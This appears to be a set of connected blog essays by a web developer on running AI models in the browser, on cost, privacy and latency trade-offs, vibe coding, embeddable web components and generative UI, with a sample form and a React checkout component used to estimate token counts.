As we got more confident building software on the web and wrestling with Apache to automate the creation of websites, we morphed it into a hosting company that made it so that businesses could create a site quickly and have a presence online. I’ve got fond memories of that time, the company (at least when I was there) was not successful, but it was a time when I could just focus on building… We timed it just right to jump on the the web.

The web had this very clear separation, logic ran on the server and you presented it in the UI. We’d played around with JavaScript, JScript and DHTML, but the majority of what we would do in the client was rollover effects on images and some basic UI validation. All I wanted though was to be able to do more in the browser. Many of our potential customers wanted the page never to refresh. But many of the fundamental technologies and best practices just didn’t exist at the time. XMLHttpRequest… That’s two years away!

While I was “running” the company, I was also at university (Hello to my John Moores friends!) and the email system they had was Outlook. I didn’t have Outlook on my personal machine, but I did have a browser. I remember logging into it for the first time and boop! an email just appeard in my inbox…. I didn’t refresh. What is this magic!?

There’s been more seminal moments for me on the Web. Gmail. Google Maps. Google Docs multi-user. That early 2000’s period of the web changed what we expected of the web and it was the combination of on-server and on-device execution and the expectation of interactivity locally in the browser has not stopped. Today we are able to store data sandboxed inside the origin, run applications completely offline, install them on to the device, be able to access hardware on the users devices and now run “Machine Code” via WASM and GPU shaders.

This progression is interesting to me because the story is less about the raw technology and instead more of the change that it enables to the ecosystem. Yes, the web-runtime wasn’t as fast as some app experiences, so you might never ship your AAA game on the web, but the performance of devices was never a reason not to do on-device for the vast majority of experiences and we’ve got all manner of experiences now running in the browser, all the way up to Photoshop. All of the SLICE principles are what makes the web the best platform to deploy on.

As I noted in transition, I’d tracked on-device AI for sometime because of projects like MediaPipe, Tensorflow - it was incredibly neat to see real-time image segmentation etc, but it wasn’t until ChatGPT launched that I dusted off my old machine-learning books and got back into thinking about what is might be possible in the browser. I went off and explored the ecosystem. I built a button detector using TFLite… and it was incredibly exciting with a new classes of apps available to people all inside the browser and I realised that we’re at a new tipping point in capability for the browser and what it can enable for people.

The web has always been an amazing ground for experimentation, I think it’s due to the comparative ease of getting something running and sharing it with people. AI based experiments are no different, there are so many different ways to think about what on-device can mean, for example:

1. Using a framework like TFlite, ONNX or Transformer.js to load a custom model and run it in the browser, either via WASM or WebGPU.
2. The in-development WebNN APIs that will in theory let you load and execute models in a standardised way against the hardware that the user has.
3. The experimental prompt based APIs in Chrome that are now multi-modal and let you have instant access to models like Gemini Nano or Phi.
4. The built-in API like Chrome’s use-case based APIs (Summarize, Write, Rewrite) to do common tasks without having to download a model or even think about AI at all
5. Accessing a local-server that hosts models like Ollama
6. Accessing OS-provided models (like what Apple just announced)

If I look at this list and go bottom to top, it seems to me that every operating system will come with a framework to load and run models, and likely preferring their own models by default. The ease of development for these local OS models combined with the models “just being available” will put pressure on tools like Ollama, which I suspect are in the process of being sherlocked (sher_llm_ocked?). The question for me is will these OS foundational systems allow for model choice either by the developer or the user? Given the lock-in we’ve seen in the past, I suspect there won’t be and I can’t see a world where a regular person will install a model picker middleware.

If the browser has built-in APIs there’s also a similar tension. The browser can provide it’s own model, which is what we see happening now, or if the OS’s have one, it might be able to defer to that. I suspect each browser vendor will want you to use their model.

If you want true customization or do things that aren’t built-in then you are going to have to ship your own models to the client and use the browser provided APIs like WebNN or bring your own runtime (with WASM). This clearly has the most flexibility and a different set of tradeoffs. You have to download the model for each site (we don’t have large-object caching model for the web) and hope that there is APIs for hardware acceleration. I expect what we will see develop here is that people will pioneer new models and capabilities and then once these become common use-cases they will be then built into the browser or the operating system.

As I explored these different classes of inference running on-device and why you (a developer) want them to be on-device, the answers tend to lean into the same areas that we’ve been talking about for years on the web in relation to locally running experiences:

• They work offline. No connection required. Once you have the model you can just use it.
• They are private. The data never leaves the device, so you don’t have to worry about it being sent to a server and a company using your data to train their models (whether you believe their license or not)
• They can be used in real-time scenarios where the round trip to a server would be too slow. For example, you can use on-device inference to do real-time image processing, speech recognition, or even text generation.

But after speaking to a lot of businesses and developers there is something that I’ve not really heard before for most on-device scenarios: Cost! Running models on-device can lower the cost for the business running the site. Specifically, Tokens can be expensive depending on the model and the number of users you have, so if the business no longer has to pay for server costs to run the inference, then that is a huge benefit.

Cost just hasn’t been a thing that I’ve seen really talked about when it comes to the web-experiences. Instead the narrative is about privacy, ownership of data and compute, resilience to the network, resilience to business failure, avoidance of big-tech etc. All of these are great reasons to build local-first, and cost being a factor for running models, and specifically LLMs, I think is a new vector worth looking at to see some of the challenges that we might face as an industry.

Depending on what you are doing, the models that you run on-device can be worse in both quality and performance. As a developer you are going to have to be responsible and decide where you make a trade-off? The cheaper (for your business) model or the quality of the answer? It will be impossible for a user to make a rational and informed decision about where to run the compute, so the natural thing that you might do as a developer is to have a router that looks at the query and determines the best place to run it? If you need a high-quality answer route it to the server. If you want low-cost, keep it on device. If the users device can’t handle it, bump it to the cloud. It gets complex very quickly, and has a couple further issues that will need to be dealt with.

Web developers don’t yet have the tools, or at least it’s not yet in our workflows to benchmark models quality against cost and performance. There are some tools like Simon Willison’s llm-prices, but there needs to be a lot more tooling to help us navigate this space. We need to be able to track the quality of the output of the models, the costs, the latency, and if we’ve learnt anything from npm, when the version changes. For example, the models in Chrome’s on-device APIs - be it the prompt API or the built-in use-case APIs - hide the model version information from the developer and the user. It can and will update as we make the models better (check chrome:components you will see the version information), so how do you manage this in a production environment?

On top of this, when developers and businesses market on-device anything, they normally say that because the data, the storage and the computation are on the user’s device it’s inherently more secure and more private. This is certainly true when we have the capabilities to run everything on device, however we now have performance and memory requirements that render potentially billions of devices unable to run models performantly (or at all) on-device. I’m comfortable, I have a couple of beefy Mac’s that can sling tokens about. But what about if you are someone that has to use a candy-bar phone? The spirit of the web is that everything that is on a URL is accessible irrespective of your device capabilities.

People are putting real and sensitive data into these tools, so if we are going to promote on-device as a real-thing then we need to either change the social contract with people and ensure if the marketing about your site says that the computation is done on device, then you can’t (or shouldn’t) be sending the data to a hosted service, or go further and enable the platform to make the input and output to models more opaque. Unfortunately, a web super-power: the origin model, is no help here. The origin model is great in that it stops other sites peaking into the data held on your site, but there is no guarantee that the data won’t leave your device because the site owner programmed it that way. Observant readers might say “Paul, this issue isn’t about LLMs, it’s been an issue for years”, and you are correct. It’s just that I don’t think anyone has really considered it that much, and I think that given how some of our engagement might change, we should at least consider changes. Maybe there is something similar to CSP and opaque fetches plus tainting of the data (like Canvas) when you get a response from an LLM might help (i.e, you get a warning if the data is sent via a fetch or the user could block requests in the user-agent), or even Opaque objects like those defined by the WebCrypto API, or even something like Apple’s Private Cloud Compute built into the platform. I don’t actually know what the answer is here but it feels like something that would need more investigation because of the pressures developers will have to move compute off the device.

The web is the perfect medium to offer these types of experiences, so if we assume that this technology is better for people and it makes people more efficient or enables new workflows then it should be available to everyone irrespective of location or device-class so that it will enable new classes of computing all via the browser, then we are going to have to really deal with the fact that hybrid approaches will be required for a long time.

I love doing more directly in the browser I can’t wait to see what new use cases that open up just like we saw when Outlook came to the web, or gmail or Google Docs and countless other innovations that were enabled by new APIs…. There’s going to be a lot to work out still.

Models are getting more capable and, but still not perfect. Developers are still ultimately responsible for the code produced, and should review it before publishing to avoid nasty surprises like leaking API keys. But it’s amazing to see how models like Gemini 2.5 Pro are capable of building entire (even if reasonably simple) web applications from a one shot prompt, like this example where my prompt was Build a force directed graph demo.

One thing to note, however, is that AI models are not equally performant for all programming languages and stacks. Because model performance depends on the availability training data for the model, AI models tend to be quite good for web development, and have the potential to boost the productivity of web developers more than other stacks.

Maybe that’s because the web has been around for such a long time and the open nature of web implementations, there is plenty of training data available for training models for web development. Another characteristic that favours the web is that it excels in backward compatibility (remember spacejam.com, from ‘96? Its still up an running), so even when a model produces slightly outdated code, it will generally still work, without issues.

Another point that makes the web a great platform to build with AI tooling is low-friction deployment. Because the web doesn’t have review queues, or requirements, developers can easily deploy and their creations, iterate, and share them.

The combination of AI models capabilities on web development with lack of friction for deploying them is spurring a new type of developer, one that is first and foremost a vibe coder and frequently doesn’t know other types of development.

This became clear to me when chatting with the founders of usecurling.com, a Brazilian startup aiming at differentiating themselves by delivering products faster by using AI. The team there also hosts a closed vibe coding community where the vast majority of participants don’t have a software development background, but are using tools like Replit and Lovable to build projects.

What those developers can achieve is, of course, limited to what the AI model can do. The team reported that those developers will often run into brick walls, either because they aren’t able to get the AI tooling to implement what they want or because they run into issues, like security or scalability, when productionizing them.

And that’s where their community comes in, it’s a forum where the Curling AI team, who are experienced developers, can help vibe coders to overcome those issues.

AI Tooling does indeed lower the barrier of entry for web development, allowing people who otherwise wouldn’t have the time or resources to learn, to effective realize their ideas. It also doesn’t mean there will be less work for traditional developers. In fact, my view is quite the opposite. With a lower barrier of entry, the need for developers who can take over when AI tooling hits a brick wall will only grow.

Another interesting trend are developers who moved into leadership or management position, like CTOs, VPs, directors and managers, starting to build again, because AI tooling gives them the opportunity to quickly put together projects within the time they have left after dealing with other responsibilities that comes with those roles.

While, at one hand, this may be contributing to a dissonance between leadership and developers on generative AI, it’s also great to see AI bringing those developers back to building things, and excited about the future of web development.

An URL is a powerful tool that allows sharing web projects around. With more people becoming developers and publishing their creations on-line, I wonder if we will start seeing more directories where those developers can showcase their applications, and users can discover new ones - sort of an itch.io, but for web applications.

Maybe this won’t make sense in today’s world, but the concept of more people being able to transform their ideas into web applications, with reduced friction to build and deploy, reminds me of the early days of the web - distribution of native applications was always an issue, but the web allowed developers to share their creations with a simple link. AI Tooling is changing that by allowing more people to become developers, and that’s great!

There’s a story that I heard before joining Google, that our very first developer API was a way to embed Google Maps into your website. It wasn’t that we invented an API, it was that the web made it easy to pull content from other sites and embed it into your own and lots of people wanted to do this. While embedding of maps is declining (according to BuiltWith), anywhere between 12-15% of the top 1 million sites still embed Google Maps.

In “A link is all you need” and super-apps I touched on the ability for LLMs to create or recall content on the fly and how it’s potentially a huge shift for how we think about the web and in AI-powered site mashups Andre Bandarra suggests that Agents will be able to create the ultimate mashup or sites and services because they attempt to solve for the user’s goal.

If the only thing really stopping this is the latency of the LLMs to generate the UI then it is a “when” and not “if” question. We really need to think about some of the downstream implications of this.

One extreme is where there is a super-app and it is the agent that can do everything for the user, generating content and UIs on the fly to fulfil a goal. Where does the web sit in this? The web is a legacy fallback and it’s not the web I want to see. Is there a possibility that an exchange of value could happen between the site and super-app? I believe that many site owners and businesses would want some way of keeping their brand, or enabling specific actions like up-sell on checkouts, so could we embed some functionality that brings my brand or service in front of the user in any site or app, including the super-app? Maybe it’s a checkout form, or a registration page, or, well anything that needs a user-action.

In 2020, while on my team, Jason Miller documented the Island architecture (first proposed by Katie Sylor-Miller). At the time if felt a logical extension to “AppShell”: Here’s some static code and here’s the dynamic bit — which on a technical level is what it describes, but at an architectural level it is something rather different. Islands are a way to think about how to compose your web app in to different bits of functionality. While still nascent, frameworks like Fresh and Astro have adopted this idea, it’s still just a framework-level concept and not a platform-level primitive.

When I look at the extreme that is “the super-app”, it feels like embedding and composability need to be key parts of the future of the web, and it needs to something that developers and businesses can opt-in to and control to their brand and experience to as much as an extent as possible.

Now there is a natural reaction: Well, I don’t want super apps or LLMs. The technology is now here and it’s being used for good and for bad, and as I learnt from the desktop to mobile transition, the answer is to differentiate and not follow. Lean in to the areas that other platforms can’t compete on.

So, how does the web differentiate then?

One area that is ripe for innovation is the act of hyper-linking. We should actively investigate hyper-embedding (also known as transclusions). That is, we need to go beyond just being able to embed a site in a page (iframe) or an API (fetch()), or just merely linking to something (<a>), but instead enable the seamless embedding of functionality that is useful and composable and secure.

The boundary between functional components as described in islands offers so many opportunities for the web. By exposing islands/components/widgets to the browser in a way that it understands that a) there is something that is embeddable, b) what it can do, and c) how to talk to it, all while ensuring there can be security and privacy boundaries between the islands if required, could enable:

1. A cleaner separation for site authors for use across their site. Islands and functionality across the current sites, and then render them in the page. Because the browser understands the intent of islands it enables page-level actions, automations, and chat-bots by the browser to help the user interact with the page.
2. Deeper integrations across sites. Developers have a habit of injecting any and all 3P JS into the page. A new primitive could separate the pages, ensure memory safety, and data-leakage while enabling even more composability across sites.
3. Native apps, or other agents to load these islands from other sites, and then render just the island inside their app.
4. There could be a marketplace and discovery mechanism for functionality for any given island’s intent and any given contract.

This might sound like Web Components, but we don’t have clear contracts or cross-platform embed-ability. It’s something that I started to think about in Custom Elements Ecosystem but at the time there wasn’t a clear need for it. Now there is.

It might also sound like an <iframe>, but these are too heavy. I might just want to embed a small bit of functionality like a checkout form, or a map that has all my own branding.

It might also sound like the <portal> element which was meant as a more privacy-preserving <iframe> element, but again it’s too high-level and doesn’t allow for the embedding of functionality at a level that smaller than a page.

It might also look like Web Intents but this was a page level and not at a component level (and it got pulled out of Chrome).

We are in the start of an era where the web will be headless and we don’t have the correct primitives to enable the web to be composable in a way that is useful and for it to thrive.

It’s too early to prescribe solutions, but I do believe that a way to define ‘islands’ or web components as embeddable and a way embed sub-trees and components (islands) is needed and as we do that, I think it’s time again to think about exposing intents and contracts on sites, pages and components and make them discoverable.

My hope is that the designers of the web-platform, that is browser vendors and participants of the W3C, should be imagining what the platform could and should look like and how it should continue to differentiate itself in the future, and these are just a couple of early opportunities that I see.

To me, the direction of travel is clear. UI generation to service user-goals is going to happen.

Combining this with Model Context Protocol (MCP) has got me thinking about the good old site mashups, and how AI agents can unleash a new, modernized version of them. If you haven’t heard about mashups before, here’s what Gemini has to say about them:

A site mashup combines data, functionalities, or applications from two or more distinct web sources into a single, integrated user experience. This is typically achieved by leveraging publicly available APIs (Application Programming Interfaces) or RSS feeds, allowing developers to extract and re-present content in a new and innovative way, often without owning the original data sources. For example, a real estate mashup might combine map data from Google Maps with property listings from a real estate website to visually display homes for sale in a specific area.

One of the challenges with site mashups was that, while combining functionality from different sites led to unique experiences, those were also frequently niche, sometimes specific to individuals, and the effort to build them meant they would rarely pay off beyond developers building toy applications for themselves.

AI models solve this particular problem by removing the need for a developer to create the UI, and MCP server provide a standardized description of APIs that AI Agents can call or use in the application they are building.

The ability of AI Agents to use tools, standardized with the MCP protocol, allows AI Agents to integrate services into the conversation with the user. However, many user interactions don’t work well on a chat interface, an having an UI can be a better way to show structured information or ask for user input, and that’s were mini-apps with dynamic UIs and MCP servers come in.

Imagine planning a holiday trip, the user may want to find suitable flight, a hotel that matches their preferences, create an itinerary of local attractions, dinner at restaurants that matches their taste and, finally, book their reviews - this usually requires interacting with different services, and keeping track of your own itinerary.

An AI agent, through the MCP protocol, can use different sources to check reviews for hotels, attractions and restaurants, check their prices and availability, and finally, create all bookings as needed, taking into account the user’s own preference. In this workflow, some bits of information can work well in a chat interface, like showing the summary of the reviews of a restaurant. Others might work better with a UI, like showing the location of available hotels in a map, or asking the user to pick attractions they are interested from a list, but checking them.

Being able to create UIs dynamically and instantly would allow those integrations to happen with the best UI possible to the task at hand, and aligned with that user’s preferences.

It’s possible to imagine entire businesses that only provide services via MCP, being effectively UI-less, and relying on AI agents to drive business to them.

While the performance of the current models is incredible, they are not instant (yet), with that being a significant blocker for this kind of mashup.

Another important blocker is figuring out the monetization model for applications providing content to AI Agents - while for a flight, restaurant, or hotel booking services the benefit is clear, since the AI Agent is directly generating business for them, services like review sites will need a good way to monetize the content they are providing. Maybe the AI Agent would pay for access to those services, on behalf of their user.

It was like the early days of the web. Every page felt fresh and unique. Some were high quality, some were low-fi. All were incredibly slow to load. I was on a dial-up connection in 2024. Even when my college’s shared connection in ‘98 was on a slow leased line, sites frequently took minutes to load, but at the time it didn’t matter, I had this new world to explore.

It wasn’t until much later in my career that I learned about the importance of latency in web applications. The speed at which a page loads and responds to user interactions can make or break the user experience. In 1993, Jakob Nielsen published his first paper on the topic of response times and how they affect user experience. He identified four key limits for response times:

0.1 second is about the limit for having the user feel that the system is reacting instantaneously, meaning that no special feedback is necessary except to display the result.

1.0 second is about the limit for the user’s flow of thought to stay uninterrupted, even though the user will notice the delay. Normally, no special feedback is necessary during delays of more than 0.1 but less than 1.0 second, but the user does lose the feeling of operating directly on the data.

10 seconds is about the limit for keeping the user’s attention focused on the dialogue. For longer delays, users will want to perform other tasks while waiting for the computer to finish, so they should be given feedback indicating when the computer expects to be done. Feedback during the delay is especially important if the response time is likely to be highly variable, since users will then not know what to expect.

— Jakob Nielsen - 1993

This was written at the dawn of the web and was later refined in 2014 for web applications and I think that it’s interesting that streaming of responses has been used as a way to keep people engaged with LLMs. Yes, streaming of responses has been an interesting hack to improve the perception of speed, and yes, fundamentally these models are doing trillions upon trillions of calculations to get us an answer, but it doesn’t change the fact that the underlying model is slow to generate the content.

We are at the early days of the web again. The content or the “apps” are currently slow to generate and sometimes the experiences like those created with the “Canvas” apps can feel a little low-fi too, but we are in a transition and it’s because these tools feel valuable we are happy to put up with the latency to get a complete response. Seeing these responses generate and stream in feels like the progressive loading of HTML on a slow-connection when you could see the page UI progressively load and JPEGs slowly unblur into full view. It seems to me that we are in the modem phase right now waiting for the broadband transition to happen.

It’s not clear to me that the current “chat” interface are the future — It can be tiring to engage when all I want to do is prod buttons and swipe on things — I’d argue that if the future of computing is through tools like LLMs, be it a superapp or any existing app, chewing through arbitrary tasks that the user requests we are going to need goal-based generative UI.

Ben Thompson has frequently noted that if there is to ba a future in VR/XR based experiences, the sheer amount of content that needs to be created combined with the complexity to create that content, there will need to be a massive shift to systems that generate UI to service a users need based on context and intent.

AI, however, will enable generative UI, where you are only presented with the appropriate UI to accomplish the specific task at hand. This will be somewhat useful on phones, and much more compelling on something like a smartwatch; instead of having to craft an interface for a tiny screen, generative UIs will surface exactly what you need when you need it, and nothing else.

Where this will really make a difference is with hardware like Orion. Smartphone UI’s will be clunky and annoying in augmented reality; the magic isn’t in being pixel perfect, but rather being able to do something with zero friction. Generative UI will make this possible: you’ll only see what you need to see, and be able to interact with it via neural interfaces like the Orion neural wristband. Oh, and this applies to ads as well: everything in the world will be potential inventory.

— Ben Thompson - Stratechery - Meta’s AI Abundance, October 2024

Last year, I wrote a little experiment for a goal-based UI generation using the reactive-prompts library. Given a goal and the data that you already have to solve that goal it would create a user-interface that captures the rest of the information. I was surprised that even 12 months ago it was possible for simple data collection based goals to be generated.

Data collection feels like a good first step in LLMs because we don’t need full-applications to get a job done, and the parameters seem to be more easily knowable to our tools. It raises a fundamental question about the concept of an application as we know it today might not exist in the future given that Chain of Thought tools are breaking down a goal (an app in the old context) into finite tasks, and then only requiring intervention when it can’t progress.

Today, these UIs can take many seconds to create, and because of the progressive nature of HTML, you can see the UI incrementally load. This might be ok, given that people seem quite happy to wait while the models “think” or stream their response, but we will see a step-change in engagement and interaction when these UIs start getting to Jacob Nielsen’s thresholds for interaction.

Ben Thompson also noted in ‘Sora, Groq and Virtual Reality’ "which means the speed of token calculation is at an absolute premium." 100%. How away are we from getting truly instant UIs generated?

Naively, you have to generate HTML, CSS and JS and by estimating the number of tokens generated via tcnt the following form is 251 tokens.

<form>
  <input type="text" name="name" />
  <input type="text" name="email" />
  <button type="submit">Submit</button>
</form>
<script>
  document.querySelector("form").addEventListener("submit", (e) => {
    e.preventDefault();
    const name = e.target.name.value;
    const email = e.target.email.value;
    console.log(name, email);
  });
</script>
<style>
  form {
    display: flex;
    flex-direction: column;
  }
  input {
    margin-bottom: 10px;
  }
  button {
    background-color: blue;
    color: white;
    border: none;
    padding: 10px;
    cursor: pointer;
  }
  button:hover {
    background-color: darkblue;
  }
</style>

I found this LLM speed benchmark to be a good indicative reference for the current state of play. Ranging from 50 tokens per second for the slower but higher quality models to 350 tokens per second for the faster models, potentially lower quality models. Obviously a lot has changed since 2024, but the order of magnitude is the same.

My first reaction (and probably yours) is “Hey, it should only take 1 second to generate that form… what’s the problem?”

But this is not a realistic example because it was hand-crafted by me for a contrived scenario. When building UI with a prompt, there are a number of other things we have to consider:

1. What is the prompt? We have to include the prompt in the token count and processing time.
2. Is there “thinking” required, or is there error correction required? This is a non-linear process and can take a long time to get right.
3. The latency induced by the network request. Setting up a TLS connection can take 200ms.

A more realistic scenario might be a checkout form with a number of items pre-populated, that you need to get the users confirmation for a purchase.

import React, { useState } from "react";

// Main App component
const App = () => {
  // State for form fields
  const [formData, setFormData] = useState({
    fullName: "",
    email: "",
    address: "",
    city: "",
    zip: "",
    cardNumber: "",
    expiryDate: "",
    cvv: "",
  });

  // State for shopping basket items
  const [basketItems, setBasketItems] = useState([
    { id: 1, name: "Wireless Headphones", price: 129.99, quantity: 1 },
    { id: 2, name: "Smartwatch", price: 199.99, quantity: 1 },
    { id: 3, name: "Portable Bluetooth Speaker", price: 79.99, quantity: 1 },
  ]);

  // Handle input changes for form fields
  const handleInputChange = (e) => {
    const { name, value } = e.target;
    setFormData({ ...formData, [name]: value });
  };

  // Handle deleting an item from the basket
  const handleDeleteItem = (id) => {
    setBasketItems(basketItems.filter((item) => item.id !== id));
  };

  // Calculate total price of items in the basket
  const calculateTotal = () => {
    return basketItems
      .reduce((total, item) => total + item.price * item.quantity, 0)
      .toFixed(2);
  };

  // Handle checkout button click
  const handleCheckout = () => {
    // In a real application, you would send formData and basketItems to a server
    console.log("Checkout initiated!");
    console.log("Form Data:", formData);
    console.log("Basket Items:", basketItems);
    alert("Checkout successful! (This is a demo)"); // Using alert for demo purposes
  };

  return (
    <div className="min-h-screen bg-gray-100 flex items-center justify-center p-4">
      <div className="bg-white p-8 rounded-xl shadow-lg w-full max-w-4xl flex flex-col lg:flex-row gap-8">
        {/* Customer Information Section */}
        <div className="flex-1">
          <h2 className="text-3xl font-extrabold text-gray-800 mb-6 text-center">
            Checkout
          </h2>

          {/* Contact Information */}
          <div className="mb-6">
            <h3 className="text-xl font-semibold text-gray-700 mb-4">
              Contact Information
            </h3>
            <div className="grid grid-cols-1 md:grid-cols-2 gap-4">
              <div>
                <label
                  htmlFor="fullName"
                  className="block text-sm font-medium text-gray-600 mb-1"
                >
                  Full Name
                </label>
                <input
                  type="text"
                  id="fullName"
                  name="fullName"
                  value={formData.fullName}
                  onChange={handleInputChange}
                  className="w-full p-3 border border-gray-300 rounded-lg focus:ring-2 focus:ring-blue-500 focus:border-transparent transition duration-200"
                  placeholder="John Doe"
                />
              </div>
              <div>
                <label
                  htmlFor="email"
                  className="block text-sm font-medium text-gray-600 mb-1"
                >
                  Email
                </label>
                <input
                  type="email"
                  id="email"
                  name="email"
                  value={formData.email}
                  onChange={handleInputChange}
                  className="w-full p-3 border border-gray-300 rounded-lg focus:ring-2 focus:ring-blue-500 focus:border-transparent transition duration-200"
                  placeholder="john.doe@example.com"
                />
              </div>
            </div>
          </div>

          {/* Shipping Address */}
          <div className="mb-6">
            <h3 className="text-xl font-semibold text-gray-700 mb-4">
              Shipping Address
            </h3>
            <div className="grid grid-cols-1 gap-4">
              <div>
                <label
                  htmlFor="address"
                  className="block text-sm font-medium text-gray-600 mb-1"
                >
                  Address
                </label>
                <input
                  type="text"
                  id="address"
                  name="address"
                  value={formData.address}
                  onChange={handleInputChange}
                  className="w-full p-3 border border-gray-300 rounded-lg focus:ring-2 focus:ring-blue-500 focus:border-transparent transition duration-200"
                  placeholder="123 Main St"
                />
              </div>
              <div className="grid grid-cols-1 md:grid-cols-2 gap-4">
                <div>
                  <label
                    htmlFor="city"
                    className="block text-sm font-medium text-gray-600 mb-1"
                  >
                    City
                  </label>
                  <input
                    type="text"
                    id="city"
                    name="city"
                    value={formData.city}
                    onChange={handleInputChange}
                    className="w-full p-3 border border-gray-300 rounded-lg focus:ring-2 focus:ring-blue-500 focus:border-transparent transition duration-200"
                    placeholder="Anytown"
                  />
                </div>
                <div>
                  <label
                    htmlFor="zip"
                    className="block text-sm font-medium text-gray-600 mb-1"
                  >
                    Zip Code
                  </label>
                  <input
                    type="text"
                    id="zip"
                    name="zip"
                    value={formData.zip}
                    onChange={handleInputChange}
                    className="w-full p-3 border border-gray-300 rounded-lg focus:ring-2 focus:ring-blue-500 focus:border-transparent transition duration-200"
                    placeholder="12345"
                  />
                </div>
              </div>
            </div>
          </div>

          {/* Payment Information */}
          <div>
            <h3 className="text-xl font-semibold text-gray-700 mb-4">
              Payment Information
            </h3>
            <div className="grid grid-cols-1 gap-4">
              <div>
                <label
                  htmlFor="cardNumber"
                  className="block text-sm font-medium text-gray-600 mb-1"
                >
                  Card Number
                </label>
                <input
                  type="text"
                  id="cardNumber"
                  name="cardNumber"
                  value={formData.cardNumber}
                  onChange={handleInputChange}
                  className="w-full p-3 border border-gray-300 rounded-lg focus:ring-2 focus:ring-blue-500 focus:border-transparent transition duration-200"
                  placeholder="**** **** **** ****"
                />
              </div>
              <div className="grid grid-cols-2 gap-4">
                <div>
                  <label
                    htmlFor="expiryDate"
                    className="block text-sm font-medium text-gray-600 mb-1"
                  >
                    Expiry Date
                  </label>
                  <input
                    type="text"
                    id="expiryDate"
                    name="expiryDate"
                    value={formData.expiryDate}
                    onChange={handleInputChange}
                    className="w-full p-3 border border-gray-300 rounded-lg focus:ring-2 focus:ring-blue-500 focus:border-transparent transition duration-200"
                    placeholder="MM/YY"
                  />
                </div>
                <div>
                  <label
                    htmlFor="cvv"
                    className="block text-sm font-medium text-gray-600 mb-1"
                  >
                    CVV
                  </label>
                  <input
                    type="text"
                    id="cvv"
                    name="cvv"
                    value={formData.cvv}
                    onChange={handleInputChange}
                    className="w-full p-3 border border-gray-300 rounded-lg focus:ring-2 focus:ring-blue-500 focus:border-transparent transition duration-200"
                    placeholder="123"
                  />
                </div>
              </div>
            </div>
          </div>
        </div>

        {/* Shopping Basket Section */}
        <div className="flex-1 bg-gray-50 p-6 rounded-xl shadow-inner">
          <h3 className="text-2xl font-extrabold text-gray-800 mb-6 text-center">
            Your Basket
          </h3>
          {basketItems.length === 0 ? (
            <p className="text-center text-gray-500">Your basket is empty.</p>
          ) : (
            <div className="space-y-4">
              {basketItems.map((item) => (
                <div
                  key={item.id}
                  className="flex items-center justify-between bg-white p-4 rounded-lg shadow-sm border border-gray-200"
                >
                  <div className="flex-grow">
                    <p className="font-semibold text-gray-800">{item.name}</p>
                    <p className="text-gray-600 text-sm">
                      ${item.price.toFixed(2)} x {item.quantity}
                    </p>
                  </div>
                  <button
                    onClick={() => handleDeleteItem(item.id)}
                    className="ml-4 p-2 bg-red-500 text-white rounded-full hover:bg-red-600 focus:outline-none focus:ring-2 focus:ring-red-500 focus:ring-opacity-50 transition duration-200"
                    aria-label={`Delete ${item.name}`}
                  >
                    <svg
                      xmlns="http://www.w3.org/2000/svg"
                      className="h-5 w-5"
                      viewBox="0 0 20 20"
                      fill="currentColor"
                    >
                      <path
                        fillRule="evenodd"
                        d="M9 2a1 1 0 00-.894.553L7.382 4H4a1 1 0 000 2v10a2 2 0 002 2h8a2 2 0 002-2V6a1 1 0 100-2h-3.382l-.724-1.447A1 1 0 0011 2H9zM7 8a1 1 0 012 0v6a1 1 0 11-2 0V8zm6 0a1 1 0 012 0v6a1 1 0 11-2 0V8z"
                        clipRule="evenodd"
                      />
                    </svg>
                  </button>
                </div>
              ))}
            </div>
          )}

          <div className="mt-8 pt-4 border-t-2 border-gray-200 flex justify-between items-center">
            <p className="text-xl font-bold text-gray-800">Total:</p>
            <p className="text-xl font-bold text-blue-600">
              ${calculateTotal()}
            </p>
          </div>

          <button
            onClick={handleCheckout}
            className="mt-6 w-full py-4 bg-blue-600 text-white text-lg font-semibold rounded-lg shadow-md hover:bg-blue-700 focus:outline-none focus:ring-2 focus:ring-blue-500 focus:ring-opacity-50 transition duration-200"
          >
            Proceed to Checkout
          </button>
        </div>
      </div>
    </div>
  );
};

export default App;

4982 tokens. At 150 tokens per second just for the response we are looking at 33 seconds to generate the UI, and this is still a relatively simple UI.

Latency is across the full stack and we’re going to need a step change in performance to get to the 0.1 second threshold.

There seem to be multiple approaches to improve this performance and reduce latency. On one hand you have Groq making custom hardware and then you have algorithmic changes like Text Diffusion (showcased at Google I/O 2025), with both appearing that you show between 1000-2000 tokens per second. The checkout form above would be generated in about 2-3 seconds.

That’s an order of magnitude improvement to generation in the space of 2 years, but to get sub-second it looks like need another order of magnitude improvement, so something in the 10,000 tokens per second range.

To me HTML, CSS and JS feel like the right level of abstraction for generating UI inside LLMs, firstly we can generate them for any platform, Web or Native app, but given the languages’ relative verbosity it does raise the question to me if it will be better to have an intermediate representation of UI that is more compressed and quicker to generate might be a better approach - for example, I could imaging a constrained set of “Web Component interfaces”, or maybe we just use smaller “lower quality” models, or maybe we just wait for another step change to happen in the models and hardware.

To me, the direction of travel is clear. UI generation to service user-goals is going to happen.

I’ll keep playing here while the rest of you flirt with apps. I’ll be here when you come back. I know it’s going to happen. Here’s why.

Linking.

Dave Winer - 2011

The web has a lot going for it. We coined the term SLICE (Secure, Linkable, Indexable, Composable, and Ephemeral) to describe its benefits, but at its purest essence the hyperlink is the thing that makes the web the web. It’s a thing of beauty. It’s why I fell in love with the Web. Click. Something new! It’s why I still love the web and it’s the thing that is unique to the medium because the web platform in a lot of cases has a thing at the end of it, yes there is link-rot, but you don’t have to install anything to get it running.

But there’s something bugging me. It’s the over-confidence of the industry that the web will weather any storm. “The web will always win” is often quoted whenever someone poses that there is an existential threat to the web and the other side doesn’t think any of the proposals to address the challenge are needed.

Mobile and the rise of native apps was one of those challenges that I believe was a potential extinction-level event for the web. The web as experienced by people didn’t work well on mobile and people looked for Apps (they were told it, “There’s an app for that”). At the same time billions of people were getting their first computing experience through a mobile device and the web wasn’t something they had grown up around, it just didn’t even occur to them as a thing that they should do.

Yes, Apple through Safari introduced many technologies that would let the web work well on mobile (e.g viewports, touch, multi-touch, media queries are probably the biggest innovations at the time) but web developers just didn’t shift to match the expectation people had from their mobile devices.

We needed a change in how we thought about the web and how it should be used it for this new context. From my own personal experience, it wasn’t until a Google “mobile-first” push in 2015 that you really started to see a change in how the web was experienced on mobile.

As I look at my own usage of LLMs today, there is a change in how I use the web and I am uneasy, but it wasn’t until recently that I was able to put my finger on it. Yes, as the cost of creating content drops because people use LLMs it enables a lot more low-quality content to be created and at the same time it is also enabling a lot of good experiences to be easily created (the structure of this very blog was made using an LLM), but the only way you get to discover and experience content is if you can navigate to it.

